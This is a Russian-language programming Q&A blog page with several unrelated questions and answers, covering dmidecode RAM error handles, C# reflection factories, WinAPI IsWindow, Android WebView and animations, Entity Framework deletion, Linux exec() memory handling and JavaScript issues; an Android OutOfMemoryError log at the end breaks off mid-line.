Страницы

Поиск по вопросам

четверг, 16 мая 2019 г.

RAM info with dmidecode --type 17

На материнской плате ASUS V-PRO Z77 установлены 2х2 (Kingston и Corsair) планок оперативной памяти. Все четыре планки оперативной памяти нареканий в работе не вызывают. Работают исправно. Но, ниже представлен вывод результата запуска программы Dmidecode и в выводе меня интересуют следующие строки:
Error Information Handle: 0x0060 Error Information Handle: 0x0063
Что это значит и с чем связана такая информация?
$ sudo dmidecode --type 17 # dmidecode 2.12 # SMBIOS entry point at 0x000f04c0 SMBIOS 2.7 present.
Handle 0x005B, DMI type 17, 34 bytes Memory Device Array Handle: 0x005C Error Information Handle: 0x0060 Total Width: 64 bits Data Width: 64 bits Size: 4096 MB Form Factor: DIMM Set: None Locator: ChannelA-DIMM0 Bank Locator: BANK 0 Type: DDR3 Type Detail: Synchronous Speed: 1333 MHz Manufacturer: Kingston Serial Number: 9333B00B Asset Tag: 9876543210 Part Number: 99U5584-007.A00LF Rank: 1 Configured Clock Speed: 1333 MHz
Handle 0x005F, DMI type 17, 34 bytes Memory Device Array Handle: 0x005C Error Information Handle: No Error Total Width: 64 bits Data Width: 64 bits Size: 4096 MB Form Factor: DIMM Set: None Locator: ChannelA-DIMM1 Bank Locator: BANK 1 Type: DDR3 Type Detail: Synchronous Speed: 1333 MHz Manufacturer: 029E Serial Number: 00000000 Asset Tag: 9876543210 Part Number: CMZ8GX3M2A1600C9 Rank: 2 Configured Clock Speed: 1333 MHz
Handle 0x0062, DMI type 17, 34 bytes Memory Device Array Handle: 0x005C Error Information Handle: 0x0063 Total Width: 64 bits Data Width: 64 bits Size: 4096 MB Form Factor: DIMM Set: None Locator: ChannelB-DIMM0 Bank Locator: BANK 2 Type: DDR3 Type Detail: Synchronous Speed: 1333 MHz Manufacturer: Kingston Serial Number: 1D10C373 Asset Tag: 9876543210 Part Number: 99U5584-018.A00LF Rank: 1 Configured Clock Speed: 1333 MHz
Handle 0x0065, DMI type 17, 34 bytes Memory Device Array Handle: 0x005C Error Information Handle: No Error Total Width: 64 bits Data Width: 64 bits Size: 4096 MB Form Factor: DIMM Set: None Locator: ChannelB-DIMM1 Bank Locator: BANK 3 Type: DDR3 Type Detail: Synchronous Speed: 1333 MHz Manufacturer: 029E Serial Number: 00000000 Asset Tag: 9876543210 Part Number: CMZ8GX3M2A1600C9 Rank: 2 Configured Clock Speed: 1333 MHz
UPD
$ sudo dmidecode --type 18 # dmidecode 2.12 # SMBIOS entry point at 0x000f04c0 SMBIOS 2.7 present.
Handle 0x005D, DMI type 18, 23 bytes 32-bit Memory Error Information Type: OK Granularity: Unknown Operation: Unknown Vendor Syndrome: Unknown Memory Array Address: Unknown Device Address: Unknown Resolution: Unknown
Handle 0x0060, DMI type 18, 23 bytes 32-bit Memory Error Information Type: OK Granularity: Unknown Operation: Unknown Vendor Syndrome: Unknown Memory Array Address: Unknown Device Address: Unknown Resolution: Unknown
Handle 0x0063, DMI type 18, 23 bytes 32-bit Memory Error Information Type: OK Granularity: Unknown Operation: Unknown Vendor Syndrome: Unknown Memory Array Address: Unknown Device Address: Unknown Resolution: Unknown
Handle 0x0066, DMI type 18, 23 bytes 32-bit Memory Error Information Type: OK Granularity: Unknown Operation: Unknown Vendor Syndrome: Unknown Memory Array Address: Unknown Device Address: Unknown Resolution: Unknown


Ответ

Это значит, что информация об ошибках находится в других записях с номерами 0x0060 и 0x0063 соответственно.
Дабы узнать, что за ними скрывается dmidecode следует запустить без параметров и просмотреть вывод. Номера handel'ов указываются в заголовках в выводе следующим образом:
Handle 0x005B, DMI type 17, 34 bytes Memory Device
Вероятно их тип будет 18 (32-bit Memory Error Information) или 33 (64-bit Memory Error Information).
По всей видимости само наличие значения в поле Error Information Handle покуда в структуре на которую он ссылается значение Type: OK. Как именно представляются данные определяется реализацией.

C# Создание экземпляра потомка по типу, определенному в базовом классе

Есть базовый класс
public abstract class Session { public abstract SessionType SessionType { get; } }
И есть куча его наследников, возвращающих нужный тип SessionType.
Каждому типу строго соответствует один наследник.
Вопрос:
Как создать экземпляр нужного потомка зная тип.
ПС. Понятно, что можно сделать метод по свичу создающий потомков. Но тогда при каждом создании нового типа нужно будет добавлять новую инициализацию объекта. Можно ли это сделать более простым способом?


Ответ

Большое спасибо за ответы. Оба ответа мне помогли.
Решил задачу немного другим способом, отличным от обоих предложенных.
Точнее, соединил их в одно решение.
Идея:
Для каждого класса-потомка устанавливается атрибут.
Потом сканируем потомков и определяем по атрибуту нужный тип
Создаем экземпляр.
Реализация:
using System; using System.Linq; using System.Reflection;
namespace TestAttrib { public enum SessionType { One , Two } public abstract class Session { public abstract SessionType SessionType { get; }
public static Session construct(SessionType sessionType) { Type typeSession = typeof(Session); Type type = Assembly.GetAssembly(typeSession).GetTypes().SingleOrDefault(t => t.IsSubclassOf(typeSession) && (t.GetCustomAttribute(typeof(SessionTypeAttribute)) as SessionTypeAttribute).SessionType == sessionType );
if (type != null) { return (Session)Activator.CreateInstance(type); } return null; } }
[SessionType(SessionType.One)] public class Session_One : Session { public override SessionType SessionType => SessionType.One; }
[SessionType(SessionType.Two)] public class Session_Two : Session { public override SessionType SessionType => SessionType.Two; }
[AttributeUsage(AttributeTargets.Class)] public class SessionTypeAttribute : Attribute { public SessionTypeAttribute(SessionType sessionType) { SessionType = sessionType; } public SessionType SessionType { get; } } class Program { static void Main(string[] args) { Console.WriteLine(Session.construct(SessionType.One).ToString()); //Выведет TestAttrib.Session_One Console.WriteLine(Session.construct(SessionType.Two).ToString()); //Выведет TestAttrib.Session_Two Console.ReadLine(); } } }

Как лучше всего проверить, что окно существует?

Допустим, я пишу функцию, которая по значению дескриптора должна вернуть логическое значение, существует ли окно с таким дескриптором. Я представляю огромное количество реализаций - от перебора всех окон через GetProcesses или EnumWindow и до вызова какой-нибудь функции, принимающей hwnd, и возвращающую результат. А может я все усложняю, а такая функция входит в user32. В общем, как будет лучше и быстрее?


Ответ

Есть WinApi функция IsWindow, но как пишут в этом ответе хендл может переназначаться => если вы пасете определенное окно и хотите проверить его существование, то окно может быть уже закрыто, но хендл с таким же номером был создан для другого окна.
[DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool IsWindow(IntPtr hWnd);
Получается, что имеет смысл воспользоваться вот этой функцией, если у окна есть специфическое название GetWindowText , она вернет Caption окна и можно удостоверится, что именно желаемое окно живо.
Через WinApi я думаю, что быстрее.
Что лучше?
Все зависит от того, как часто вы это собираетесь делать. Если не часто, то я бы не заморачивался и выполнял итерацию по процессам.

Android Studio засунуть сайт в приложение

Всем привет, подскажите как засунуть сайт в приложение ? к примеру как тут http://www.appsgeyser.com/create-url-app/ где об этом почитать можно ? или пример, курс


Ответ

Если вы имеете в виду отображение какого-то сайта в вашем приложении, то для этого есть элемент WebView
1) В разметке добавляете:

2) В коде для загрузки требуемого сайта используете следующее:
WebView webView = findViewById(R.id.web_view); webView.loadUrl("https://ru.stackoverflow.com/");

Как лучше сделать анимацию нескольких монеток, которые уменьшаясь, летят в одну точку?

Есть изображение кучки золота, есть анимированный открывающийся сундук. При нажатии на кучку, она должна превратиться в горсть монеток и полететь в сундук. Каким образом лучше сделать анимацию этих монеток? Каждую загрузить как ImageView и отдельно анимировать?
Ответ на комментарий:
Я до сих пор новичок, и использую только ConstraintLayout, после уроков так повелось. Мне надо переделать все на Relative? Мне не нужно наследовать ваш класс от AppCompatActivity, только провести нужные импорты? Параметр paddings в R.dimen.paddings подсвечен красным. Вот с этой строчкой запутался. ((тип parent startView)startView.getParent).removeView (startView);
Изменил ее так:
((ImageView)startView.getParent()).removeView(startView);
но теперь removeView() красный.
При имплементации класса, мой главный класс требует обьявить абстрактным или имплементировать абстрактный метод AnimationEnd(int)


Ответ

Использую для подобных целей (в моем случае - "летят" очки) класс ниже.
Использование: где надо для каждой кучки создавайте его экземпляр и передавайте контекст, RelativeLayout (да, надо чтобы корневой View activity был RelativeLayout. Можно FrameLayout), изображение, с которого начинается движение (ваша кучка, где бы она не была), изображение сундука (куда полетят деньги)), количество, которое "долетит" (сумма денег).
public class AnimateScore { private static final int ANIMATION_DURATION = 400;
private View targetView; private int offset, number; private AnimationEnd animationEnd; private ImageView img; private RelativeLayout container;
interface AnimationEnd { void animationEnd(int number); }
AnimateScore(Context ctx, RelativeLayout container, View startView, View targetView, int number) { animationEnd = (AnimationEnd) ctx; this.number = number;
int dimens = (int) ctx.getResources().getDimension(R.dimen.paddings); offset = (int) (-24 * ctx.getResources().getDisplayMetrics().density);
this.container = container;
this.targetView = targetView;
img = new ImageView(ctx); int[] coords = {getRelativeLeft(startView), getRelativeTop(startView)}; String str = "+" + String.valueOf(number); img.setImageResourse(R.drawable.my_img) img.setPadding(dimens, dimens, dimens, dimens); img.setX(coords[0] + dimens * 2); img.setY(coords[1]);
((тип parent startView)startView.getParent).removeView (startView);
container.addView(img); img.postDelayed(new Runnable() { @Override public void run() { drawAnimation(img); } }, 10); }
private void drawAnimation(View v1) { v1.clearAnimation(); ScaleAnimation animation = new ScaleAnimation (1, 0,1,0); animation.setDuration(ANIMATION_DURATION + 100); animation.setFillAfter(true); v1.setAnimation(animation); v1.startAnimation(animation); v1.animate().translationX(getRelativeLeft(targetView)) .translationY(getRelativeTop(targetView) + offset).setDuration(ANIMATION_DURATION) .setInterpolator(new DecelerateInterpolator()).setListener(new Animator.AnimatorListener() { @Override public void onAnimationStart(Animator animation) {
}
@Override public void onAnimationEnd(Animator animation) { container.removeView(img); animationEnd.animationEnd(number); }
@Override public void onAnimationCancel(Animator animation) {
}
@Override public void onAnimationRepeat(Animator animation) {
} });
}
private int getRelativeLeft(View myView) { if (myView.getParent() == myView.getRootView()) return myView.getLeft(); else return myView.getLeft() + getRelativeLeft((View) myView.getParent()); }
private int getRelativeTop(View myView) { if (myView.getParent() == myView.getRootView()) return myView.getTop(); else return myView.getTop() + getRelativeTop((View) myView.getParent()); } }
offset - для корректной работы (не знаю откуда смещение, но так)
dimens*2 - чтобы учитывать два родительских padding
в классе-приёмнике не забудьте implements AnimateScore.AnimationEnd
немного адаптировал класс под ответ, если что-то не работает или есть вопрос - пишите в комментариях ;)
Раз:


Два: нет, просто в нужный момент вызывайте экземпляр: new AnimateScore (YourActivity.this, findViewById(R.id.globalcont),your_coin_pile_img,your_chest_img, 100)
Три: это отступы, прописанные у меня в dimen. Это можно удалить либо подвести туда курсор, нажать alt+enter и ввести значение (обычно 5-10-15dp). Либо прописать в dimen в ручную.
Четвере: "тип parent" - тип контейнера в котором лежит ваша "кучка золота" (LinearLayout, FrameLayout, ConstrainLayout и т.д.)
Пять: имплементируйте :) (alt+enter, когда курсор на красном). Необязательная часть, можете удалить вместе с interface. Нужна, для того, чтобы отслеживать, когда анимация "дошла" и, например, только тогда добавлять монеты в сундук.

Linq удалить диапазон по id

Как написать запрос удаления диапазона по списку id, без создания сущностей которые требуются в RemoveRange?


Ответ

Решил вопрос таким образом (через фейковые объекты):
public async Task DeleteUsersByIdAsync(IEnumerable id_users) { using (REMOTE_OFFICE_3Entities db = new REMOTE_OFFICE_3Entities()) { IEnumerable delete_users = id_users .Select(selector: id => new User { id = id }) .Select(selector: read => db.Users.Attach(entity: read));
db.Users.RemoveRange(entities: delete_users); await db.SaveChangesAsync(); } }

Что происходит с памятью при вызове exec() на уровне ядра?

Вопрос теоретический. fork() делает копию процесса. Известно, что родительский процесс имеет собственное адресное пространство. Дочерний процесс, фактически, до какого-то момента может работать с адресным пространством своего родителя. Этот момент - запись в адресное пространство. Таким образом дочерний процесс в режиме "только чтение" может в полной мере руководствоваться родительским адресным пространством. Если производится запись, то адресное пространство копируется (copy-on-write [COW]). Возникает несколько вопросов:
Что будет со скопированным адресным пространством, если будет вызван exec()? Если после fork() вызвать exec(), то новый исполняемый код создает свое собственное адресное пространство? Что будет с таблицей страниц дочернего процесса после вызова exec()?


Ответ

Рассматривать что происходит с памятью при вызове exec() в отрыве от остальной подсистемой управления пямятью — неполноценно и описать этот процесс можно только в общих словах. А по всей данной подсистеме можно написать целую книгу (и несколько уже написаны), но я всё же попытаюсь выделить основные моменты.
Немного о структурах связанных с управлением памятью процесса
Кратко опишу назначение основных структур связанных с управлением памятью процесса.
Структуры связанные с управлением виртуальным АП.
task_struct — дескриптор процесса mm_struct — адресное пространство процесса vm_area_struct — отдельный сегмент памяти процесса со своим набором атрибутов (rwx), можно думать о нём как о неком регионе отображённом в память mmap ()'ом: он может быть и частью файла (исполняемого или обычного) и простым анонимным участком памяти. Список можно посмотреть, например в /proc//maps
Структуры связанные с трансляцией адресов и физической памятью:
pgd_t и pmd_t (а также p4d и pud) — системно-зависимые типы для записей в глобальной директории страниц (Page Global Directory) и промежуточной директории страниц (Page Middle Directory), если таковая есть (на простом x86 таковой нет). p4d и pud — это дополнительные типы в новых ядрах для пятиуровневой и четырёхуровневой адресации. pte_t — системно-зависимый тип Записи в таблице страниц (Page Table Entries). На x86 это, как и pgd_t 32-битный тип с аналогичным названием struct page — системно-независимая структура представляющая страницу физической памяти. Все они постоянно хранятся в памяти в массиве mem_map
Если кратко, то эти структуры взаимосвязаны следующим образом:
task_struct.mm ссылается на mm_struct, связанный с процессом. На один mm_struct может ссылаться несколько task_struct (так в частности реализованы потоки) mm_struct.mmap в свою очередь ссылается на двусвязный список vm_area_struct, связанных с процессом. mm_struct.pgd хранит адрес глобальной директории страниц pgd_t связанной с процессом. На x86 он фактически загружается в CR3 при смене контекста. vm_area_struct.mm — указатель на mm_struct к которому принадлежит данный сегмент. vm_area_struct.next и vm_area_struct.prev — указатели на предыдущий и следующий элемент в двусвязном списке. Для pte_t и pgd_t можно получить соответствующую структуру struct page с помощью макросов и pte_page() и pgd_page() соответственно.
Немного о том, как работает COW
При создании нового процесса fork ()'ом цикл проходится по всем связанным с ним vm_area_struct и помечает все доступные на запись страницы (pte_t), доступными только на чтение. А в соответствующей struct page увеличивается счётчик ссылок на страницу.
Когда процесс пытается записать в такую страницу, происходит прерывание, далее обработчик (спустившись на несколько функций по стеку вызовов) определяет, что хотя прерывание произошло на странице на которой запрещена запись (согласно pte_t), эта страница относится к сегменту, в котором она разрешена (согласно vm_area_struct). Таким образом определяется, что это одна из COW-страниц и происходит копирование. После чего уменьшается счётчик ссылок исходной страницы (в struct page) и, если он достиг нуля, снова разрешается запись в неё.
Что происходит с адресным пространством при execve()
Сначала exec() создаёт новое АП (mm_struct) частично его инициализирует (например создаёт стек), А потом пробует подсунуть файл поочерёдно каждому из модулей поддержки форматов (например ELF) пока один из них не сможет его загрузить. Модуль в свою очередь сначала проводит частичную проверку формата и также частичную инициализацию АП, а затем, когда убедится, что формат выбран правильно и скорей всего удастся загрузить данный файл, происходит подмена старого АП новым и последующая подчистка старого. В частности она включает:
Уменьшение количества пользователей АП (mm_struct.users), если оно достигло нуля, то:
В цикле обходятся все vm_area_struct и для каждой происходит рекурсивная итерация по каталогу страниц в результате счётчики ссылок всех ассоциированных страниц (struct page) уменьшаются аналогично тому как это было описано для COW. После этого в другом цикле обходятся все vm_area_struct и записываются несохранённые данные из грязных страниц mmap-файлов. Уменьшается количество ссылок на АП (mm_struct.count) и если оно достигло нуля (кроме процессов структура может использоваться другими подсистемами ядра), то она полностью удаляется
В случае успешного завершения модуль формата продолжит инициализацию АП, а затем произойдёт передача управления процессу.
Стоит заметить, что операция подмены АП(вызов flush_old_exec()) — это точка невозвращения, т.е. после оной exec () уже не сможет вернуть одну из документированных ошибок; и в случае сбоя весь процесс будет аварийно завершён по сигналу, например, SIGSEGV
Односложные ответы на конкретные вопросы
Что будет со скопированным адресным пространством, если будет вызван exec()?
Оно будет замещено другим, созданным exec ()
Если после fork() вызвать exec(), то новый исполняемый код создает свое собственное адресное пространство?
Да.
Что будет с таблицей страниц дочернего процесса после вызова exec()?
Она также будет замещена новой. Страницы не используемые другими будут добавлены в список свободных.
Дальнейшее чтение:
Understanding The Linux Virtual Memory Manager — Книга описывает довольно старое ядро, но отличия в основном косметические, а основные принципы не изменились.

Почему не работает js код на IE любой версии?

Почему не работает js код на IE любой версии?


Код:
var titleSearch = `

Поиск `+ quantityProduct +`

`;


Ответ

P.S. Решил сделать вопрос-ответ по причине того, что на поиски ответа убил порядком нескольких дней (а потом еще пару дней менял все на кавычки), надеюсь кому-либо это будет полезно. (Если есть другое решение, буду рад ответам в комментарии).
IE не поддерживает шаблонные строки ``. Весь код, который содержит в себе подобные символы `, придется переписать на кавычки и конкатенацию (сложение, пример: "Hello" + "world!").
Решение:
var titleSearch = '

' + '
' + '
' + '

Поиск (Всего 1 товар)

' + '
' + '
' + '
';

Почему не работает js код?

Есть функция, которая должна переворачивать массив (как метод reverse):
function reversed(arr) { for (var i = arr.length; i > 0; i--) { var elem = arr.pop(); arr.unshift(elem); } return arr; } var testArr = [1, 2, 3, 4, 5, 6, 7, 8]; console.log(reversed(testArr));
Но возвращается исходный массив


Ответ

Ошибка логики - всё равно что пытаться перевернуть стопку, каждый раз беря сверху и подкладывая снизу.
function reversed(arr) { for (var reversed = []; arr.length > 0; reversed.push(arr.pop())); return reversed; } var testArr = [1, 2, 3, 4, 5, 6, 7, 8]; console.log(reversed(testArr));

Как реализовать циферблат, где отображается быстрая смена цифр, между нулевым значением и финальным?

Сначала у нас ряд нулей, затем на месте нулей происходит мелькание других цифр, после чего все позиции занимаются определёнными цифрами. Каким образом можно реализовать подобное, посредством CSS, jQuery, ... ? У меня 8 таких ячеек, в каждой будет своё число. Думал написать код замены значений (ряд замен для реализации мелькающих значений, после чего - финальная замена), но что-то не видел такого механизма в пособии по jQuery. Может его и нет ? В общем, мне нужна, прежде всего, концепция. Если есть решение - вообще супер.


Ответ

function runTest(){ var counter = 0; var timer = setInterval(function(){ $(".display").css("color", "red").text(Math.floor(Math.random() * 100)); counter++; if (counter > 40) { clearInterval(timer); $(".display").css("color", "green").text(999); } }, 30); } .display{ display:inline-block; border: solid 1px black; padding:5px; margin:5px; font-size:25px; width:50px; text-align:center; }

 


Ошибка OutOfMemoryError при работе с изображениями

Делаю приложение, одним из составляющих которого является список, получающий данные для отображения из базы данных. Элемент списка состоит из маленького изображения и текста. В бд хранится текст и uri для получения определенного изображения из папки drawable. При нажатии на элемент списка открывается активити, где, в том числе, показывается то самое определенное изображение. Также имеются ещё пару активити со списками и изображениями и текстовыми данными (всё берется из бд).
Проблема в следующем: по мере открытия новых активити, прокручивании списков, возврата к старым активити постоянно возрастает объём занимаемой приложением ОЗУ, и по достижении определенного момента приложение вылетает, выдавая OutOfMemoryError.
Пробовал получать Cursor через AsyncTask, но на данной ситуации это никак не отразилось. Судя по Java Heap происходит утечка памяти, но не совсем понимаю с чем она связана. Может кто знает как исправить? Заранее благодарю
Далее прилагаю код одного из активити со списком, логи и скрин Java Heap
import android.content.Intent; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.os.Bundle; import android.support.v4.widget.SimpleCursorAdapter; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.ListView;

public class MyActivity extends AppCompatActivity {
MyDBHelper myDBHelper; SQLiteDatabase sqLiteDatabase; Cursor cursor; ListView listView; SimpleCursorAdapter simpleCursorAdapter;
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_list_of__vyzi_activity);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(toolbar);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
listView = (ListView) findViewById(R.id.list_of_vyzi); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView parent, View view, int position, long id) { Intent intent = new Intent(getApplicationContext(), UniversityMainActivity.class); intent.putExtra("_id", id);
startActivity(intent); } });
// открываем подключение myDBHelper = new MyDBHelper(getApplicationContext()); sqLiteDatabase = myDBHelper.open();
//получаем данные из бд в виде курсора cursor = sqLiteDatabase.query(TablesNames.UNIVERSITIES, new String[] {UniMainInfoConsts.ID, UniMainInfoConsts.IMG_SRC, MyDBHelper.COLUMN_UNI, MyDBHelper.COLUMN_BRI}, null, null,null,null,null);
// определяем, какие столбцы из курсора будут выводиться в ListView cursor.moveToFirst(); String[] headers = new String[] {UniMainInfoConsts.IMG_SRC, MyDBHelper.COLUMN_UNI, MyDBHelper.COLUMN_BRI}; // создаем адаптер, передаем в него курсор simpleCursorAdapter = new SimpleCursorAdapter(this, R.layout.layout_for_list, cursor, headers, new int[]{R.id.imageView, R.id.main_text, R.id.sub_text}, 0);
listView.setAdapter(simpleCursorAdapter); }
@Override public void onDestroy(){ super.onDestroy(); // Закрываем подключение и курсор sqLiteDatabase.close(); cursor.close(); myDBHelper.close(); Log.d("Destr", "List destr"); }
public void openAddComment (View v){ Intent intent = new Intent(this, Add_comment_activity.class); startActivity(intent); }

}
Java Heap

04-28 22:22:35.744 5511-5511/ru.abityrienty.vyzi I/Choreographer: Skipped 30 frames! The application may be doing too much work on its main thread. 04-28 22:22:37.365 5511-5511/ru.abityrienty.vyzi I/PersonaManager: getPersonaService() name persona_policy 04-28 22:22:37.445 5511-5511/ru.abityrienty.vyzi D/AbsListView: Get MotionRecognitionManager 04-28 22:22:38.877 5511-5511/ru.abityrienty.vyzi D/DESTROY: InstPage has destroyed 04-28 22:22:38.877 5511-5511/ru.abityrienty.vyzi D/AbsListView: onDetachedFromWindow 04-28 22:22:39.558 5511-5511/ru.abityrienty.vyzi D/AbsListView: Get MotionRecognitionManager 04-28 22:22:39.598 5511-5511/ru.abityrienty.vyzi I/PersonaManager: getPersonaService() name persona_policy 04-28 22:22:40.218 5511-5511/ru.abityrienty.vyzi D/DESTROY: InstPage has destroyed 04-28 22:22:40.228 5511-5511/ru.abityrienty.vyzi D/AbsListView: onDetachedFromWindow 04-28 22:22:41.249 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 17393K, 23% free 60720K/78840K, paused 22ms, total 26ms 04-28 22:22:41.370 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 7174K, 31% free 55185K/78840K, paused 20ms, total 20ms 04-28 22:22:41.530 5511-5511/ru.abityrienty.vyzi I/dalvikvm-heap: Grow heap (frag case) to 74.282MB for 18662416-byte allocation freed 17393K, 23% free 60720K/78840K, paused 22ms, total 26ms 04-28 22:22:41.370 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 7174K, 31% free 55185K/78840K, paused 20ms, total 20ms 04-28 22:22:41.530 5511-5511/ru.abityrienty.vyzi I/dalvikvm-heap: Grow heap (frag case) to 74.282MB for 18662416-byte allocation 04-28 22:22:42.791 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 25168K, 23% free 61188K/78828K, paused 38ms, total 38ms 04-28 22:22:42.811 5511-5511/ru.abityrienty.vyzi I/dalvikvm-heap: Grow heap (frag case) to 69.961MB for 7985680-byte allocation 04-28 22:22:42.951 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 3595K, 23% free 66797K/86628K, paused 19ms, total 19ms 04-28 22:22:44.683 5511-5511/ru.abityrienty.vyzi I/dalvikvm-heap: Forcing collection of SoftReferences for 18662416-byte allocation 04-28 22:22:44.723 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_BEFORE_OOM freed 23183K, 26% free 54168K/73080K, paused 37ms, total 38ms 04-28 22:22:46.105 5511-5511/ru.abityrienty.vyzi D/AbsListView: Get MotionRecognitionManager 04-28 22:22:46.135 5511-5511/ru.abityrienty.vyzi I/PersonaManager: getPersonaService() name persona_policy 04-28 22:22:47.516 5511-5511/ru.abityrienty.vyzi D/DESTROY: InstPage has destroyed 04-28 22:22:47.516 5511-5511/ru.abityrienty.vyzi D/AbsListView: onDetachedFromWindow 04-28 22:22:48.597 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 19896K, 9% free 66731K/73080K, paused 25ms, total 26ms 04-28 22:22:48.617 5511-5511/ru.abityrienty.vyzi I/dalvikvm-heap: Grow heap (frag case) to 75.380MB for 7985680-byte allocation 04-28 22:22:48.687 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_FOR_ALLOC freed 1165K, 8% free 74770K/80880K, paused 19ms, total 19ms 04-28 22:22:49.518 5511-5511/ru.abityrienty.vyzi I/dalvikvm-heap: Forcing collection of SoftReferences for 18662416-byte allocation 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi D/dalvikvm: GC_BEFORE_OOM freed 25070K, 32% free 59775K/87240K, paused 24ms, total 25ms 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi E/dalvikvm-heap: Out of memory on a 18662416-byte allocation. 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: "main" prio=5 tid=1 RUNNABLE 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: | group="main" sCount=0 dsCount=0 obj=0x41855ea0 self=0x4174b050 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: | sysTid=5511 nice=0 sched=0/0 cgrp=apps handle=1073848660 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: | state=R schedstat=( 0 0 0 ) utm=532 stm=230 core=0 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.graphics.BitmapFactory.nativeDecodeAsset(Native Method) 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:693) 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.graphics.BitmapFactory.decodeResourceStream(BitmapFactory.java:518) 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.graphics.drawable.Drawable.createFromResourceStream(Drawable.java:889) 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.content.res.Resources.loadDrawable(Resources.java:3457) 04-28 22:22:49.548 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.content.res.Resources.getDrawable(Resources.java:1921) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.ImageView.resolveUri(ImageView.java:666) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.ImageView.setImageURI(ImageView.java:409) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.support.v4.widget.SimpleCursorAdapter.setViewImage(SimpleCursorAdapter.java:201) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.support.v4.widget.SimpleCursorAdapter.bindView(SimpleCursorAdapter.java:147) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.support.v4.widget.CursorAdapter.getView(CursorAdapter.java:273) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.AbsListView.obtainView(AbsListView.java:2713) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.ListView.makeAndAddView(ListView.java:1811) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.ListView.fillDown(ListView.java:697) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.ListView.fillGap(ListView.java:661) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.AbsListView.trackMotionScroll(AbsListView.java:6693) 04-28 22:22:49.558 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.widget.AbsListView$FlingRunnable.run(AbsListView.java:5692) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.view.Choreographer$CallbackRecord.run(Choreographer.java:813) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.view.Choreographer.doCallbacks(Choreographer.java:613) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.view.Choreographer.doFrame(Choreographer.java:582) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:799) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.os.Handler.handleCallback(Handler.java:733) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.os.Handler.dispatchMessage(Handler.java:95) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.os.Looper.loop(Looper.java:146) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at android.app.ActivityThread.main(ActivityThread.java:5593) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at java.lang.reflect.Method.invokeNative(Native Method) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at java.lang.reflect.Method.invoke(Method.java:515) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1283) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1099) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi I/dalvikvm: at dalvik.system.NativeStart.main(Native Method) 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi D/skia: --- allocation failed for scaled bitmap 04-28 22:22:49.568 5511-5511/ru.abityrienty.vyzi D/AndroidRuntime: Shutting down VM 04-28 22:22:49.568 